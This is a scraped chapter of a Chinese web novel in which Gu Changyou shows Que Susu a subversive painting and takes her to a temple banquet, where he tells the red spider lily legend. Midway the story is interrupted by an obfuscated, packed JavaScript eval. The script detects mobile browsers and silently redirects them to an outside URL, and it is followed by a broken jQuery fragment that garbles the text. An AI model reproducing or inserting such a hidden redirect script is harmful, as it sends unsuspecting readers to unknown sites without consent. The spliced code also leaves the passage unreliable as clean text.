10.第 10 章
作品:《长生美人谋》 阙素素那天晚上才得知,原来这半个月顾长佑一直都在京城与天佩乡之间来回奔波。
叶敬之以大理寺查案的由头去学术衙门翻找司长生和宋翎的科举试卷,结果被有关之人告知,那一年部分考生的试卷不幸全被烧毁了,而司长生和宋翎的试卷亦在其中。
叶敬之怕言语有诈,亲自又去卷宗查了一个底儿朝天,果然那一年的试卷大部分都消失得无影无踪。
一举中第的天之骄子宋翎,学富五车却突然隐退的狂妄教书先生司长生,还有暗中操控的那些神秘推动力量。
一切线索在这一刻戛然中断……
顾长佑得知时,整个人笑得癫狂。
这件事比想的还要大,国家毒蠹蚕食梁柱,他发誓要将这群烂枝污泥连根拔起。
下过雨的清晨,微凉。
顾长佑穿着锦制暗纹祥佩玄衣走出房门,清晨的阳光打在男子脸上,映衬的格外风神俊朗。
他只一眼,就看到远处有一女子手持油伞独站于燕水台,清冷卓绝。
虽只是一个背影,但他认出来了,是阙素素。
是昨晚在梦中折磨自己一晚的那只狐狸。
他站在原地不动,静静地看着那人,偶尔能听到虫鸣微响,鸟叫翠灵,而佳人就独立于天地之间。
“素素”,顾长佑情难自禁地开口唤道。
而女子听到身后声响,收回视线,拿着油纸伞快步走了过去。
她怕今天下雨,作为一个好奴仆,她应该记得为他带伞。
“爷,您出来了。”她笑着说。
看着眼前女子的低眉作揖,虽是乖巧,但声音毫无顺从之意。
可是这两种气质在她身上毫不违和,甚至可以说是并行不悖。
是啊,若是她灵魂真的是个顺从之人,又怎会吸引自己的注意,一身聪慧美貌从不展露于人前,看着她拼命想活的样子,怎么说呢?
特别像从前的自己。
“嗯,这画给爷拿着,爷带你去秋华宴。”顾长佑将手中之物顺手递给她。
“听爷的安排。”阙素素乖巧地应着。
顾长佑嘴角带笑,问:“你不好奇这画是什么吗?”
乖巧的阙素素听后略有疑问,她胆子是有多大,还敢好奇。
“这画是宋府大火时,我和宋声在宋翎密室里发现的。”
“打开看看吧。”
素素心中泛起波澜,回忆起两次与顾长佑见面时的场景,一次是在宋府大厅前,还有一次就是宋家三子齐聚奠堂。
两次见面也只不过一炷香的时间,这男人到底干了多少事。
顾长佑看到女子眼中震惊的神色,不由得有些得意。
素素将手中油纸伞侧放于红柱之旁,双手恭敬地接过画,她先看了看裱画所用的绫,便知这画主定是一平民,但绑画所用的却是暗纹缂丝扎带,她知道这是贵族才能用得起的东西。
两者看起来格格不入,略显滑稽。
她慢慢地打开卷画,画面的图案渐渐浮现出来。
“这是狸猫换太子?好大的胆子。”阙素素顾不上大惊,她马上看了一眼左下角的署款,上面清晰地写着一个人的名字,是司长生。
“竟然是他,他胆子好大。”
“是不是很有意思,司长生给宋翎画了一幅狸猫换太子。”顾长佑冷笑地说。
素素收起震惊,抬头看着男人说:“爷,您这是……要把画送到秋华宴?”
“有意思,你怎知我不是送人,而是去送展的?”他玩味地问道。
阙素素听到疑问,毫无遮掩地说:“徐老板有关系,从前长生阁有幸负责承办过这秋华宴的吃食,素素也去帮忙了,听说这秋华宴既是赏花宴,又是赏画宴,是为了避前任君主的名讳,这才改之为——华。”
顾长佑点点头,“说的不错,继续。”
“听说送到这里的每幅画都不一般,好多人为了得权贵青睐,想尽办法将一些名家画作送来,供贵人欣赏。一些人也因此可以得些许依仗,甚至有人平步青云、一步登天。”
“可惜这送画之人的名字、身份都是不能被暴露的,所有的画送上去,权贵之人看好了相互竞争,一切都要依循价高者得的要求。”
在顾长佑的注视下,素素并不像从前一般胆小,她问道:“爷,您是去钓鱼的吗?”
看着面前狐狸熟悉的妆容,心事也被她猜个七七八八,顾长佑不语轻笑,抬脚向外走去。
承办赏华宴的地点在京外的秋水寒山寺,驾车之人不再是之前负责护送顾长佑去天佩乡的小厮吉安,而换成了一个极为陌生的男子。
阙素素不留痕迹地注视着驾车之人,他行为举止极为标准,应该是个练家子。
“常夜,派人把这个送到赏花宴。”
顾长佑看了素素一眼,素素立刻会意,将手中之物递了出去。
二人先后踩上马杌,坐上那顶轿辇。
不一会,常夜就驾着马车带着二人离开了。
秋水寒山寺是多年前建造的一座皇家寺庙,位置在离京不远的寒山下,而这寒山上终年山顶雾气缭绕,雾缠水,水连峰;峰绕山,山连天。
遥想当年建造之时,浚土动工,民不聊生。大开大合下,好多青年好儿郎都与之一起埋葬。
官员将他们尸体积聚于空地之处,一把火烧了个干净。
野火烧不尽,春风吹又生。
后来,为了缓解这血煞之气,上面的人下令将寒山上的所有的树全部更换成桃树。
皇家之地禁杂声、禁祭火、更禁平民。
受害者家属为祭奠死去之人,只能送上盈野的菊花和绚烂的曼珠沙华。
春风扶苏,上天大手一挥,满山桃花遍野,灼灼其华。
秋风萧瑟,天降甘霖,遍地菊红应声开放,花朵交相辉映,裳裳者华。
整个天地为之动容。
后来,随着时间的流逝,人们也渐渐忘记过去,而这漫山遍野的花朵,就成了人们眼中最美好的盛景。
赏华宴,九月八,我花开后百花杀。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328592|198071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
越接近寒山寺,花朵的香气愈加浓厚。
顾长佑注视着盯着窗外赏花的女子,觉得甚是可爱,便问道:“素素,你可知这红色的花叫什么?”
“回爷的话,素素不知,只是这花好生奇怪,只有花,没有叶,素素从没见过。”阙素素放下手中之帘摇头答道。
顾长佑眉心舒展,露出久违不曾表露的温柔神色,说:“你当然不曾见过了,这花名叫曼珠沙华,也被称作红色彼岸花,别的地方都没有,传说是一个叫悟忧的大师从别处带过来的。”
阙素素听到彼岸花,回想起曾经在现代确实有听过,但是她从未见过,原来这就是彼岸花。
“传说这花朵代表着两个妖精,一个是被称作曼珠的花妖,还有一个是被称作沙华的叶妖,他们在冥界三途河边共同守着一种花。”
“三途河是阴阳交界之地,也是人死后去往轮回的黄泉路。这两个小妖精就一直守着,无聊之时,就看看眼前流淌的忘川水,这一守就是好几千年。”
阙素素听的不自觉地入了迷。
“虽然他们共守一种花,但是却从来没见过对方,因为花开之时没有叶,叶盛之时花已谢。”
“两个小妖怪相互痴念了好几千年,终于有一天,两个人都忍不住了,瞒着所有生灵,偷偷见了一面。”
“那一面,一定非常美好。”素素笑着应道。
“嗯”,顾长佑被打断,毫无烦躁之意,他继续耐着性子说:“那一面,丝蕊红花娇艳迷人,绿色枝叶苍翠欲滴,只一眼,美得惊心动地。”
素素忍不住地又问:“那后来呢?”
顾长佑看着面前女子,笑了一下,说:“后来啊,就被天神发现了,天神知道大怒,认为二者有违天命,即刻把两个小妖打入轮回,并诅咒他们生生世世、永生永世不得相见。”
“从此这花就有了两个小妖的名字,变成了曼珠沙华,花开无叶,叶生无花,二者永不相见,就像那对恋人。”
看着女子忧伤的神色,顾长佑问道:“怎么,小狐狸听完难受了?”
“回爷的话,素素心里确实不舒服。”
“不必难受,这就是一个故事而已,若是我,绝对不会让这种事发生。”顾长佑坚定地说。
“那这花怎只开在此处?这彼岸花杆直整洁,花朵别致无二,若是用来祭奠,肯定也会有很多人来使用吧,但是素素不曾见别人种过。”
“这个确实奇怪,因为这花只能活在此处。之前皇家园艺派人取过它的种子,种不活,哪怕是连根带走,过几天也就残败了。”
“而曾经将曼珠沙华带来的悟忧高僧也如人间蒸发般,再也寻不到去处。”
只听辇外“吁”的一声,车就停下了。
二人先后下车,郊外清爽的空气,让人身心通畅。
不愧是皇室承办的宴席,素素深吸一口气,好久没出门,看到如此热闹的场景,还真是蛮有趣的。
顾长佑看着女孩兴奋的眼神,他就知道,早就该带她出来的嘛。

